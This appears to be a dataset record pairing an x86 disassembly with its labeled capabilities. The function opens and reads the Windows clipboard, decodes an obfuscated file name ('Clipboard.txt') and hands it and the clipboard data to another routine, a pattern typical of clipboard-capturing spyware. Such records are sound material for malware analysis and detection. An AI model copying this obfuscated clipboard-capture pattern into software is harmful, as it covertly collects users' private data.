Function at 0x431710
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
call fcn.0041a320
sub esp, 0x10
mov esi, esp
push eax
mov edi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
xor ebx, ebx
test al, 1
jne 0x431749
jmp 0x431a3f
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x431785
jmp 0x431a39
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], eax
call fcn.004198d0
add esp, 4
xor ebx, ebx
cmp eax, 0
je 0x431a2a
mov ebx, eax
mov al, byte [edi]
mov byte [ebp - 0x14], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x43
xor eax, 0x72
xor al, 0x1e
mov byte [esi], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x6c
xor eax, 0x73
xor al, 0x1e
mov byte [esi + 1], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x69
xor eax, 0x70
xor al, 0x1e
mov byte [esi + 2], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x70
xor eax, 0x71
xor al, 0x1e
mov byte [esi + 3], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x62
xor eax, 0x6e
xor al, 0x1e
mov byte [esi + 4], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x6f
xor eax, 0x6f
xor al, 0x1e
mov byte [esi + 5], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x61
xor eax, 0x6c
xor al, 0x1e
mov byte [esi + 6], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x72
xor eax, 0x6d
xor al, 0x1e
mov byte [esi + 7], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x64
xor eax, 0x6a
xor al, 0x1e
mov byte [esi + 8], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x2e
xor eax, 0x6b
xor al, 0x1e
mov byte [esi + 9], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x74
xor eax, 0x68
xor al, 0x1e
mov byte [esi + 0xa], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x78
xor eax, 0x69
xor al, 0x1e
mov byte [esi + 0xb], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
add eax, 0x74
xor eax, 0x66
xor al, 0x1e
mov byte [esi + 0xc], al
sub esp, 8
mov dword [esp], 0x32fbc66c
mov dword [esp + 4], 5
call fcn.00419dd0
add esp, 8
xor eax, 0x67
xor al, 0x1e
mov byte [esi + 0xd], al
mov eax, 0xe
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0x10
jne 0x4319be
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x10
jae 0x431a04
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00431dd0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
jmp 0x4319d1
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], esi
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
call fcn.0040a400
mov bl, al
jmp 0x431a21
and bl, 1
jmp 0x431a26
jmp 0x431a28
jmp 0x431a2a
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret